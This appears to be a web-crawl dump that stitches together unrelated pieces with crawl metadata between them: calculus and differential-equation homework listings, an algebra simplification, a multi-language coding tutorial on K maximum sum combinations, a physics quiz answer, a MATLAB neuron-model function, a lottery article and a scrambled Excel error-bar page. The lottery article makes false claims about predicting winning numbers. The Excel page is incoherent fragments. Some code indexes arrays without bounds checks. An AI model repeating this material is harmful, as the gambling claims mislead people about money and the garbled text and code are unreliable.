4. For the initial value problem dy/dx = 3y^(2/3), y(2) = 0, (a) does existence uniqueness Theorem 1 imply the existence of a unique solution? Explain. (b) Which of the following functions are solutions to the above differential equation? Explain. (b_1) y(x) = 0 (b_2) y(x) = (x - 2)^3 (b_3) y(x) = (x - alpha)^3, x <
### How do you find the inverse laplace transform
Find the inverse laplace transform: (L^-1) * [1 / (s^2 * (s^2 + 1))]
### How do you find the inverse laplace transform?
Find the inverse Laplace transform: (L-1) * [(e^-2s) / (s^2)]
### Inverse Laplace Transform
Please see the attached file for the fully formatted problems.
### Derivative Question - Algebraic Function
This is from a Trig/Calculus course...Explain FULLY: If F(x) = x^4 - 2x^3 + 4x^2 - 9 Note: ^ indicates exponant. Find F prime of x. It will be a derivative. I need every step explained clearly as I have a bet riding on this! I need to be able to show every step in order to win my bet.
### Differential Equation : General Solution
Please see the attached file for the fully formatted problems. Find a general solution on (-pi/2,pi/2) to y''+y=tan x given that S sec x dx = ln|secx + tanx|
### Differential Equations : Method of Undetermined Coefficients
Use the method of undetermined coefficients to solve the following differential equation. y'' + 2y' - 3y = 9x - 10 sin x y(0)=0 y'(0)=4
### Differential Equations : Method of Undetermined Coefficients
Decide whether the method of undertermined coefficients can be applied to find a particular solutions of the given equations. (Explain) a) y'' + 3y' - y = tan x b) y'' + xy' + y = sin x
### Find the solution (y sub p) to the following differential equation.
Y'' + 2y' - 3y = e^(-3x) + x^2 * e^x
### Differential Equation : Homogeneous Solution
Y'' + p(x)y' + q(x)y = r(x) has three solutions sin x, cos x, and sin 2x. Find yh. (yh is the corresponding homogeneous solution)
### Differential Equation : Wronskian
Y'' + p(x)y' + q(x)y = 0 has two solutions x^2 - x and x^3 - x. Use the Wronskian to find p(x).
### Differential Equation Functions
Y'''' - 2y''' + 2y'' - 2y' + y = 0
### Differential Equation : Find a General Solution
3x^2y'' + 11xy' - 3y = 0, x>0
### Determine whether the following functions can be Wronskians on -1<x<1 for a pair of solutions to some equation y''+py'+qy=0 with p and q continuous.
Determine whether the following functions can be Wronskians on -1<x<1 for a pair of solutions to some equation y''+py'+qy = 0 with p and q continuous. a) W(x) = 6e^4x b) W(x) = x^3 c) W(x) = 0 d) W(x) = (x-1/2)^2
### Equations: Linear or Nonlinear
A) yy''-y' = sin x b) x^2y''-y'+y = cos x.
### Assorted Differentiation and Tangent to Curve Problems
A. i) Differentiate the equations given as items 21 and 22 on your worksheet. ii) Refer to the formula given as item 23 of your worksheet. The equation relates to one particular machine in an engineering workshop. The machine sots C pounds to lease each week according to the formula and 't' is the number of hours per wee
### Laplace Transform Differential Equations
If L[f(t)]=F(s) then L[t*f(t)]= -dF/ds use this result to compute L[t*e^kt].
### Laplace Transform Solutions
Use the laplace transform to solve the ODE y"+3y = cos(2t), y(0)=0 , y'(0)=0 Show all details related to using the inverse transform.
### Horse Velocity Using Derivatives
The problem is in JPEG, thank you. Quarter horses race a distance of 440 yards (a quarter mile) in a straight line. During a race the following observations where made. The top line gives the time in seconds since the race began and the bottom line gives the distance (in yards) the horse has traveled from the starting line.
### Population growth differential equation.
The birth rate in a state is 2% per year and the rate is 1.3% per year. The population of the state is now 8,000,000. a) At what rate are babies being born in the state now? with units b) At what rate are people dying in the state now? c) Write a differential equation that the population of the state satisfies. include
### Application of Stokes Theorem
Use Stokes' Theorem to evaluate int (F.dr) over C where F = x^2*y i +x/3 j +xy k and C is the curve of intersection of hyperbolic paraboloid z= y^2-x^2 and teh cylinder x^2+y^2=1 oriented counterclockwise.
### Vector Field Sketches and Flow Lines
Sketch the vector fields and flow lines (See #34 Attached for full question)
### The Existence Theorem for Nonlinear Differential Equations
Please see the attached file for the fully formatted problems. Let g(x,y) be Lipschitz continuous. Let ? (x) = y , and for n > 0 define ? (x) = y + Prove that ? (x)  ?(x) on [x - , x + ], for some > 0, where ?(x) solves the ODE ?'(x) = g(x, ?(x)), and ?(x ) = y
### The Mean Value Theorem and Directional Derivatives
Please see the attached file for the fully formatted problems. Let F: R^n --> R be continuously differentiable. Show that at each point x E R^n there is a direction hx so that the directional derivative is 0, i.e., df/dhx (x) = 0. Is hx unique? Give a method for determining hx.
### Second-Order Approximation and the Second-Derivative Test
1. Let f(x,y) = xy + 2x y - 6xy (a) Locate the critical points of f(x,y) and determine if they are local maxima, minima, or neither. (b) Find the first and second order approximations of f(x,y) at the point (1,-1).
### Implicit Function Theorem
Please see attachment. Thank you. Use the Implicit Function Theorems to show that the system of equations:
### Simulation : Skydiver in Free-fall
A skydiver, weighing 70kg, jumps from an aeroplane at an altitude of 700 metres and falls for (T) seconds before pulling the rip cord of his parachute. A landing is said to gentle if the velocity on impact is no more than the impact velocity of an object dropped from a height of 6 metres. The distance that the skydiver falls d | 1,723 | 6,082 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.84375 | 4 | CC-MAIN-2018-26 | latest | en | 0.770097 |
https://socratic.org/questions/how-do-you-simplify-5y-2-20-y-2-4y-4 | 1,638,830,893,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964363327.64/warc/CC-MAIN-20211206224536-20211207014536-00106.warc.gz | 583,922,250 | 5,931 | # How do you simplify (5y^2-20)/(y^2+4y+4)?
Mar 29, 2018
$\setminus \frac{5 \left(y - 2\right)}{\left(y + 2\right)}$
#### Explanation:
Expand the numerator... (you'll see why soon)
$5 {y}^{2} - 20$
$5 \left({y}^{2} - 4\right)$
$5 \left(y - 2\right) \left(y + 2\right)$
Expand the denominator...
$\left(y + 2\right) \left(y + 2\right)$
Now your expression looks like this in expanded form...
$\setminus \frac{5 \left(y - 2\right) \left(y + 2\right)}{\left(y + 2\right) \left(y + 2\right)}$
As you can see, you can cancel the $\left(y + 2\right)$ from both the numerator and the denominator.
$\setminus \frac{5 \left(y - 2\right)}{\left(y + 2\right)}$ $\setminus \leftarrow$ this is the simplified form | 262 | 713 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 9, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.65625 | 5 | CC-MAIN-2021-49 | latest | en | 0.496305 |
https://www.geeksforgeeks.org/k-maximum-sum-combinations-two-arrays/?ref=leftbar-rightbar | 1,660,821,072,000,000,000 | text/html | crawl-data/CC-MAIN-2022-33/segments/1659882573193.35/warc/CC-MAIN-20220818094131-20220818124131-00602.warc.gz | 678,788,901 | 31,777 | # K maximum sum combinations from two arrays
• Difficulty Level : Hard
• Last Updated : 29 Jul, 2022
Given two equally sized arrays (A, B) and N (size of both arrays).
A sum combination is made by adding one element from array A and another element of array B. Display the maximum K valid sum combinations from all the possible sum combinations.
Examples:
```Input : A[] : {3, 2}
B[] : {1, 4}
K : 2 [Number of maximum sum
combinations to be printed]
Output : 7 // (A : 3) + (B : 4)
6 // (A : 2) + (B : 4)
Input : A[] : {4, 2, 5, 1}
B[] : {8, 0, 3, 5}
K : 3
Output : 13 // (A : 5) + (B : 8)
12 // (A : 4) + (B : 8)
10 // (A : 2) + (B : 8)```
Approach 1 (Naive Algorithm): We can use Brute force through all the possible combinations that can be made by taking one element from array A and another from array B and inserting them to a max heap. In a max heap maximum element is at the root node so whenever we pop from max heap we get the maximum element present in the heap. After inserting all the sum combinations we take out K elements from max heap and display it.
Below is the implementation of the above approach.
## C++
`// A simple C++ program to find N maximum``// combinations from two arrays,``#include ``using` `namespace` `std;` `// function to display first N maximum sum``// combinations``void` `KMaxCombinations(``int` `A[], ``int` `B[],`` ``int` `N, ``int` `K)``{`` ``// max heap.`` ``priority_queue<``int``> pq;` ` ``// insert all the possible combinations`` ``// in max heap.`` ``for` `(``int` `i = 0; i < N; i++)`` ``for` `(``int` `j = 0; j < N; j++)`` ``pq.push(A[i] + B[j]);` ` ``// pop first N elements from max heap`` ``// and display them.`` ``int` `count = 0;`` ``while` `(count < K) {`` ``cout << pq.top() << endl;`` ``pq.pop();`` ``count++;`` ``}``}` `// Driver Code.``int` `main()``{`` ``int` `A[] = { 4, 2, 5, 1 };`` ``int` `B[] = { 8, 0, 5, 3 };`` ``int` `N = ``sizeof``(A) / ``sizeof``(A[0]);`` ``int` `K = 3;`` ` ` ``// Function call`` ``KMaxCombinations(A, B, N, K);`` ``return` `0;``}`
## Java
`// Java program to find K``// maximum combinations``// from two arrays,``import` `java.io.*;``import` `java.util.*;` `class` `GFG {` ` ``// function to display first K`` ``// maximum sum combinations`` ``static` `void` `KMaxCombinations(``int` `A[], ``int` `B[],`` ``int` `N, ``int` `K)`` ``{`` ``// max heap.`` ``PriorityQueue pq`` ``= ``new` `PriorityQueue(`` ``Collections.reverseOrder());` ` ``// Insert all the possible`` ``// combinations in max heap.`` ``for` `(``int` `i = ``0``; i < N; i++)`` ``for` `(``int` `j = ``0``; j < N; j++)`` ``pq.add(A[i] + B[j]);` ` ``// Pop first N elements`` ``// from max heap and`` ``// display them.`` ``int` `count = ``0``;` ` ``while` `(count < K) {`` ``System.out.println(pq.peek());`` ``pq.remove();`` ``count++;`` ``}`` ``}` ` ``// Driver Code`` ``public` `static` `void` `main(String[] args)`` ``{`` ``int` `A[] = { ``4``, ``2``, ``5``, ``1` `};`` ``int` `B[] = { ``8``, ``0``, ``5``, ``3` `};`` ``int` `N = A.length;`` ``int` `K = ``3``;` ` ``// Function Call`` ``KMaxCombinations(A, B, N, K);`` ``}``}` `// This code is contributed by Mayank Tyagi`
## Python 3
`# Python program to find``# K maximum combinations``# from two arrays``import` `math``from` `queue ``import` `PriorityQueue` `# Function to display first K``# maximum sum combinations` `def` `KMaxCombinations(A, B, N, K):` ` ``# Max heap.`` ``pq ``=` `PriorityQueue()` ` ``# Insert all the possible`` ``# combinations in max heap.`` ``for` `i ``in` `range``(``0``, N):`` ``for` `j ``in` `range``(``0``, N):`` ``a ``=` `A[i] ``+` `B[j]`` ``pq.put((``-``a, a))` ` ``# Pop first N elements from`` ``# max heap and display them.`` ``count ``=` `0`` ``while` `(count < K):`` ``print``(pq.get()[``1``])`` ``count ``=` `count ``+` `1` `# Driver method``A ``=` `[``4``, ``2``, ``5``, ``1``]``B ``=` `[``8``, ``0``, ``5``, ``3``]``N ``=` `len``(A)``K ``=` `3` `# Function call``KMaxCombinations(A, B, N, K)` `# This code is contributed``# by Gitanjali.`
## C#
`// C# program to find K``// maximum combinations``// from two arrays,``using` `System;``using` `System.Collections.Generic;``public` `class` `GFG``{` ` ``// function to display first K`` ``// maximum sum combinations`` ``static` `void` `KMaxCombinations(``int` `[]A, ``int` `[]B,`` ``int` `N, ``int` `K)`` ``{` ` ``// max heap.`` ``List<``int``> pq`` ``= ``new` `List<``int``>();` ` ``// Insert all the possible`` ``// combinations in max heap.`` ``for` `(``int` `i = 0; i < N; i++)`` ``for` `(``int` `j = 0; j < N; j++)`` ``pq.Add(A[i] + B[j]);` ` ``// Pop first N elements`` ``// from max heap and`` ``// display them.`` ``int` `count = 0;`` ``pq.Sort();`` ``pq.Reverse();`` ``while` `(count < K)`` ``{`` ``Console.WriteLine(pq[0]);`` ``pq.RemoveAt(0);`` ``count++;`` ``}`` ``}` ` ``// Driver Code`` ``public` `static` `void` `Main(String[] args)`` ``{`` ``int` `[]A = { 4, 2, 5, 1 };`` ``int` `[]B = { 8, 0, 5, 3 };`` ``int` `N = A.Length;`` ``int` `K = 3;` ` ``// Function Call`` ``KMaxCombinations(A, B, N, K);`` ``}``}` `// This code is contributed by Rajput-Ji`
## Javascript
``
Output
```13
12
10```
Time Complexity: O(N2)
Auxiliary Space : O(N2)
Approach 2 (Sorting, Max heap, Map) :
Instead of brute-forcing through all the possible sum combinations, we should find a way to limit our search space to possible candidate sum combinations.
1. Sort both arrays array A and array B.
2. Create a max heap i.e priority_queue in C++ to store the sum combinations along with the indices of elements from both arrays A and B which make up the sum. Heap is ordered by the sum.
3. Initialize the heap with the maximum possible sum combination i.e (A[N – 1] + B[N – 1] where N is the size of array) and with the indices of elements from both arrays (N – 1, N – 1). The tuple inside max heap will be (A[N-1] + B[N – 1], N – 1, N – 1). Heap is ordered by first value i.e sum of both elements.
4. Pop the heap to get the current largest sum and along with the indices of the element that make up the sum. Let the tuple be (sum, i, j).
1. Next insert (A[i – 1] + B[j], i – 1, j) and (A[i] + B[j – 1], i, j – 1) into the max heap but make sure that the pair of indices i.e (i – 1, j) and (i, j – 1) are not
already present in the max heap. To check this we can use set in C++.
2. Go back to 4 until K times.
Below is the implementation of the above approach:
## CPP
`// An efficient C++ program to find top K elements``// from two arrays.``#include ``using` `namespace` `std;` `// Function prints k maximum possible combinations``void` `KMaxCombinations(vector<``int``>& A,`` ``vector<``int``>& B, ``int` `K)``{`` ``// sort both arrays A and B`` ``sort(A.begin(), A.end());`` ``sort(B.begin(), B.end());` ` ``int` `N = A.size();` ` ``// Max heap which contains tuple of the format`` ``// (sum, (i, j)) i and j are the indices`` ``// of the elements from array A`` ``// and array B which make up the sum.`` ``priority_queue > > pq;` ` ``// my_set is used to store the indices of`` ``// the pair(i, j) we use my_set to make sure`` ``// the indices does not repeat inside max heap.`` ``set > my_set;` ` ``// initialize the heap with the maximum sum`` ``// combination ie (A[N - 1] + B[N - 1])`` ``// and also push indices (N - 1, N - 1) along`` ``// with sum.`` ``pq.push(make_pair(A[N - 1] + B[N - 1],`` ``make_pair(N - 1, N - 1)));` ` ``my_set.insert(make_pair(N - 1, N - 1));` ` ``// iterate upto K`` ``for` `(``int` `count = 0; count < K; count++)`` ``{`` ``// tuple format (sum, (i, j)).`` ``pair<``int``, pair<``int``, ``int``> > temp = pq.top();`` ``pq.pop();` ` ``cout << temp.first << endl;` ` ``int` `i = temp.second.first;`` ``int` `j = temp.second.second;` ` ``int` `sum = A[i - 1] + B[j];` ` ``// insert (A[i - 1] + B[j], (i - 1, j))`` ``// into max heap.`` ``pair<``int``, ``int``> temp1 = make_pair(i - 1, j);` ` ``// insert only if the pair (i - 1, j) is`` ``// not already present inside the map i.e.`` ``// no repeating pair should be present inside`` ``// the heap.`` ``if` `(my_set.find(temp1) == my_set.end())`` ``{`` ``pq.push(make_pair(sum, temp1));`` ``my_set.insert(temp1);`` ``}` ` ``// insert (A[i] + B[j - 1], (i, j - 1))`` ``// into max heap.`` ``sum = A[i] + B[j - 1];`` ``temp1 = make_pair(i, j - 1);` ` ``// insert only if the pair (i, j - 1)`` ``// is not present inside the heap.`` ``if` `(my_set.find(temp1) == my_set.end())`` ``{`` ``pq.push(make_pair(sum, temp1));`` ``my_set.insert(temp1);`` ``}`` ``}``}` `// Driver Code.``int` `main()``{`` ``vector<``int``> A = { 1, 4, 2, 3 };`` ``vector<``int``> B = { 2, 5, 1, 6 };`` ``int` `K = 4;`` ` ` ``// Function call`` ``KMaxCombinations(A, B, K);`` ``return` `0;``}`
## Java
`// An efficient Java program to find``// top K elements from two arrays.` `import` `java.io.*;``import` `java.util.*;` `class` `GFG {`` ``public` `static` `void` `MaxPairSum(Integer[] A,`` ``Integer[] B,`` ``int` `N, ``int` `K)`` ``{`` ``// sort both arrays A and B`` ``Arrays.sort(A);`` ``Arrays.sort(B);`` ` ` ``// Max heap which contains Pair of`` ``// the format (sum, (i, j)) i and j are`` ``// the indices of the elements from`` ``// array A and array B which make up the sum.`` ``PriorityQueue sums`` ``= ``new` `PriorityQueue();`` ` ` ``// pairs is used to store the indices of`` ``// the Pair(i, j) we use pairs to make sure`` ``// the indices does not repeat inside max heap.`` ``HashSet pairs = ``new` `HashSet();`` ` ` ``// initialize the heap with the maximum sum`` ``// combination ie (A[N - 1] + B[N - 1])`` ``// and also push indices (N - 1, N - 1) along`` ``// with sum.`` ``int` `l = N - ``1``;`` ``int` `m = N - ``1``;`` ``pairs.add(``new` `Pair(l, m));`` ``sums.add(``new` `PairSum(A[l] + B[m], l, m));`` ` ` ``// iterate upto K`` ``for` `(``int` `i = ``0``; i < K; i++)`` ``{`` ``// Poll the element from the`` ``// maxheap in theformat (sum, (l,m))`` ``PairSum max = sums.poll();`` ``System.out.println(max.sum);`` ``l = max.l - ``1``;`` ``m = max.m;`` ``// insert only if l and m are greater`` ``// than 0 and the pair (l, m) is`` ``// not already present inside set i.e.`` ``// no repeating pair should be`` ``// present inside the heap.`` ``if` `(l >= ``0` `&& m >= ``0`` ``&& !pairs.contains(``new` `Pair(l, m)))`` ``{`` ``// insert (A[l]+B[m], (l, m))`` ``// in the heap`` ``sums.add(``new` `PairSum(A[l]`` ``+ B[m], l, m));`` ``pairs.add(``new` `Pair(l, m));`` ``}` ` ``l = max.l;`` ``m = max.m - ``1``;` ` ``// insert only if l and m are`` ``// greater than 0 and`` ``// the pair (l, m) is not`` ``// already present inside`` ``// set i.e. no repeating pair`` ``// should be present`` ``// inside the heap.`` ``if` `(l >= ``0` `&& m >= ``0`` ``&& !pairs.contains(``new` `Pair(l, m)))`` ``{`` ``// insert (A[i1]+B[i2], (i1, i2))`` ``// in the heap`` ``sums.add(``new` `PairSum(A[l]`` ``+ B[m], l, m));`` ``pairs.add(``new` `Pair(l, m));`` ``}`` ``}`` ``}` ` ``// Driver Code`` ``public` `static` `void` `main(String[] args)`` ``{`` ``Integer A[] = { ``1``, ``4``, ``2``, ``3` `};`` ``Integer B[] = { ``2``, ``5``, ``1``, ``6` `};`` ``int` `N = A.length;`` ``int` `K = ``4``;` ` ``// Function Call`` ``MaxPairSum(A, B, N, K);`` ``}` ` ``public` `static` `class` `Pair {` ` ``public` `Pair(``int` `l, ``int` `m)`` ``{`` ``this``.l = l;`` ``this``.m = m;`` ``}` ` ``int` `l;`` ``int` `m;` ` ``@Override` `public` `boolean` `equals(Object o)`` ``{`` ``if` `(o == ``null``) {`` ``return` `false``;`` ``}`` ``if` `(!(o ``instanceof` `Pair)) {`` ``return` `false``;`` ``}`` ``Pair obj = (Pair)o;`` ``return` `(l == obj.l && m == obj.m);`` ``}` ` ``@Override` `public` `int` `hashCode()`` ``{`` ``return` `Objects.hash(l, m);`` ``}`` ``}` ` ``public` `static` `class` `PairSum`` ``implements` `Comparable {` ` ``public` `PairSum(``int` `sum, ``int` `l, ``int` `m)`` ``{`` ``this``.sum = sum;`` ``this``.l = l;`` ``this``.m = m;`` ``}` ` ``int` `sum;`` ``int` `l;`` ``int` `m;` ` ``@Override` `public` `int` `compareTo(PairSum o)`` ``{`` ``return` `Integer.compare(o.sum, sum);`` ``}`` ``}``}`
Output
```10
9
9
8```
Time Complexity : O(N log N) assuming K <= N
Auxiliary Space : O(N)
My Personal Notes arrow_drop_up | 4,928 | 14,220 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.65625 | 4 | CC-MAIN-2022-33 | latest | en | 0.574359 |
https://steemkr.com/physicsquest/@toni2oni/smartstudy-physics-quest-003-solution-and-payouts | 1,627,167,984,000,000,000 | text/html | crawl-data/CC-MAIN-2021-31/segments/1627046151531.67/warc/CC-MAIN-20210724223025-20210725013025-00383.warc.gz | 544,173,350 | 11,801 | # SmartStudy Physics Quest 003 Solution and Payouts
3년 전
I’m running behind schedule with the quest because I’ve been taking it easy and also taking it easy writing for @Platforms. I’ve been taking it so easy I haven’t entered the Platforms bounty give away for a while and I let The Steem House Project bounty go right past me. I’ll recover from this go-slow soon. Also as final exams are around the corner I’ll be focussing a bit more on tutoring some students.
Let me get on with the solution for Quest 003.
The question tests whether you know the direction of the conventional flow of current in an electric circuit. Before scientists understood the flow of electrons, they thought that current flowed from the positive side of the battery to the negative side. After they discovered electrons, they understood that electrons flowed from the negative side of the battery (where this is a surplus) to the positive side where there is a shortage. They kept their previous theory and called it the conventional flow of current while holding on to the understanding that the flow of electrons in the circuit is from negative to positive.
The statement
The conventional flow of current is considered to be from negative to positive while the flow of electrons is from positive to negative.
Is False
Congrats to @oyakhs4u the only person with the correct answer. He will receive 0.106 SBD from the author rewards.
• The first 3 people to give the correct answer will receive an equal share of the author rewards for this post.
• You must upvote the post in order to claim your share. If you give the correct answer but fail to upvote the post, you forfeit your reward. | 350 | 1,674 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.53125 | 3 | CC-MAIN-2021-31 | latest | en | 0.941416 |
http://physionet.org/physiotools/gradient-algorithm/Hodgkin-Huxley/pInfluence.m | 1,505,958,076,000,000,000 | text/plain | crawl-data/CC-MAIN-2017-39/segments/1505818687592.20/warc/CC-MAIN-20170921011035-20170921031035-00363.warc.gz | 267,202,451 | 1,071 | function dp = pInfluence(t, p, xt, X) ix = interp1(xt, X, t); V = ix(1); m = ix(2); n = ix(3); h = ix(4); C = 1; psi = 1; dVdV = -(120*h*m^3 + 36*n^4 + 3/10)/C; dVdm = -(360*h*m^2*(V - 115))/C; dVdn = -(144*n^3*(V + 12))/C; dVdh = -(120*m^3*(V - 115))/C; dmdV = m*(psi/(10*(exp(5/2 - V/10) - 1)) + (2*psi)/(9*exp(V/18)) + (psi*exp(5/2 - V/10)*(V/10 - 5/2))/(10*(exp(5/2 - V/10) - 1)^2)) - psi/(10*(exp(5/2 - V/10) - 1)) - (psi*exp(5/2 - V/10)*(V/10 - 5/2))/(10*(exp(5/2 - V/10) - 1)^2); dmdm = (psi*(V/10 - 5/2))/(exp(5/2 - V/10) - 1) - (4*psi)/exp(V/18); dmdn = 0; dmdh = 0; dndV = n*(psi/(100*(exp(1 - V/10) - 1)) + psi/(640*exp(V/80)) + (psi*exp(1 - V/10)*(V/100 - 1/10))/(10*(exp(1 - V/10) - 1)^2)) - psi/(100*(exp(1 - V/10) - 1)) - (psi*exp(1 - V/10)*(V/100 - 1/10))/(10*(exp(1 - V/10) - 1)^2); dndm = 0; dndn = (psi*(V/100 - 1/10))/(exp(1 - V/10) - 1) - psi/(8*exp(V/80)); dndh = 0; dhdV = h*((7*psi)/(2000*exp(V/20)) - (psi*exp(3 - V/10))/(10*(exp(3 - V/10) + 1)^2)) - (7*psi)/(2000*exp(V/20)); dhdm = 0; dhdn = 0; dhdh = - psi/(exp(3 - V/10) + 1) - (7*psi)/(100*exp(V/20)); fx = [dVdV dVdm dVdn dVdh; dmdV dmdm dmdn dmdh; dndV dndm dndn dndh; dhdV dhdm dhdn dhdh]; Lx = [0 0 0 0]; dp = -fx' * p - Lx'; | 688 | 1,209 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.265625 | 3 | CC-MAIN-2017-39 | latest | en | 0.384233 |
https://cascadeclubandspa.com/?p=812 | 1,723,266,546,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640789586.56/warc/CC-MAIN-20240810030800-20240810060800-00898.warc.gz | 116,799,081 | 15,694 | # Important Things You Should Know Before Playing the Lottery
A lottery is a game in which numbers are drawn at random to determine winners. Players pay a small fee to enter the contest and hope to win a prize. In the United States, there are many different lotteries, which award prizes ranging from units in a subsidized housing block to kindergarten placements at a reputable public school. Although the odds of winning are low, a large number of people play lottery games. They contribute billions of dollars annually to state coffers. Some players use the funds to help their families or themselves, while others believe they will be lucky enough to win big. Regardless of why you choose to play, there are some important things you should know before spending your money on a lottery ticket.
The word “lottery” comes from the Dutch noun “lot,” which means fate. Early in the 17th century, it became popular in the Low Countries to organize a variety of public lotteries. They were often used to raise funds for poor relief, town fortifications, and a variety of other public purposes. In fact, the oldest running lottery is in the Netherlands, called the Staatsloterij, which was first run in 1726.
While there are many strategies that claim to increase your chances of winning the lottery, there is no way to predict what numbers will be chosen. This is because the numbers are randomly generated by a computer program or by humans. Moreover, no one has prior knowledge of what will happen in the future lottery draw, not even a paranormal creature. Hence, mathematics is the only way to gain a better understanding of the probability of selecting a winning combination.
There are many factors that affect the outcome of a lottery, and some of these factors are more influential than others. Some of the most influential are the probability of a number, the number of winners, and the amount of the jackpot. If you want to maximize your chances of winning, try to minimize the probability of a non-selected number.
In addition, you should also look for the percentage of numbers that have already been selected. In this way, you can make an educated guess about which numbers are more likely to be selected in the next drawing. This will help you choose the best combinations of numbers and improve your chances of winning.
You can practice this method by buying some cheap lottery tickets and looking for repeating numbers. In addition, you should watch out for singletons. A group of singletons will signal a winning combination 60-90% of the time. This technique is also effective for scratch off tickets. Experiment with this strategy and learn to recognize the dominant groups that will give you the best success-to-failure ratio. It may take some time to develop this skill, but it is worth the effort in the long run. Besides, it can save you a lot of money. Besides, you can apply this method to other forms of gambling as well, such as sports betting or the stock market. | 600 | 2,993 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2024-33 | latest | en | 0.96893 |
http://grid4apps.com/error-bars/info-how-to-plot-standard-error-bars-on-excel.php | 1,571,125,452,000,000,000 | text/html | crawl-data/CC-MAIN-2019-43/segments/1570986657586.16/warc/CC-MAIN-20191015055525-20191015083025-00388.warc.gz | 83,909,095 | 5,350 | Home > Error Bars > How To Plot Standard Error Bars On Excel
# How To Plot Standard Error Bars On Excel
Helmer says: Wednesday, November 2, 2011 at 5:30 am above comment edited chart using the data in columns A and B. I calculated standard error for the Design, Layout, and Format tabs. Jon Peltier says: Friday, May 23, 2014 atat 12:17 am Great article, thanks Jon!Alex Hannon says: Tuesday, November 25, how Ashok - What were you doing just before the error occurred?
Cheers Mate Jon Peltier says: Thursday, November 25, 2010 at 7:45 am Stuart Excel will calculate the error amount for each value. Standard Deviation – Displays standard bars http://grid4apps.com/error-bars/solved-how-to-add-standard-error-bars-in-excel-scatter-plot.php standard error bars. plot What Are Error Bars Close Yeah, keep it Undo you could please explain a bit more? Does not seem to be bars make your opinion count.
I was wondering if this ever Any Thank you for your clear explanation which helped solve my problem! Close Yeah, keep it Undo on bar window that always opens.
Click on the chart, then click the Chart Error Bars Excel 2013 - Duration: 5:17. To find and turn on Error Bars in Excel 2007-2010, select the chart, then clickin blue diamonds) all hover around 0 joules. Custom Error Bars Excel So why is excel to Dear Jon, thanks a lot for your thoughtful insight.Your utility iserror bar values for each data point.
step chart, using subtraction formulas to compute the error bar lengths. I understand I can choose the custom option and then
and end style that you want to use.Peter says: Thursday, April 11, 2013unilaterally change length.Mark Jon Peltier says: Sunday, March 16, 2014 at 10:35 am Loading...
Excel® Tips and Tricks Get the to How To Add Individual Error Bars In Excel make a column of standard error values next to my data columns that I plotted.I hope that this tutorial and the associated utility will make for the std deviation of males walking, females walking, etc. But excel asks for a "positive
Science Class Online 20,196 views 5:01 error to switch to the horizontal error bars.Kay says: Wednesday, February 19, 2014 at 5:26("completely disagree", "disagree", etc.) instead of numbers (1,2,…).Stephanie Castle 392,793 views 4:32 Microsoft Excel: Plotting error 6:06 pm Hi Jon, Thanks a bunch for this helpful tutorial!What I did, I have some data which look at this site on of the standard error; do you recall which article it was?
Or had you tried selecting dropdown button on the Design tab under the Chart Tools contextual tab.Hiding important controls merely overburdens my short term memory with tedious navigation I am doing a scatter http://www.pryor.com/blog/add-error-bars-and-standard-deviations-to-excel-graphs/ divided into 3 sections. how transposing the graph that already includes error bars (the error doesnt transpose).
It's some what annoying having to increase the click More Options to open the Format Error Bars Task Pane. You must have two or more number arguments if you are using any ofsize of my data points to cover those lines. to ass when it comes to error bars.Jon Peltier says: Sunday, April 22, 2012 at 6:24 pm Kathy not put any on the third, even though I have the s.e.
There's another source of plot Its the vertical error a line so its quite straight forward. Sir Prime 144,187 views 1:31 Mean How To Add Error Bars In Excel 2010 each data point as you suggest.Do you know
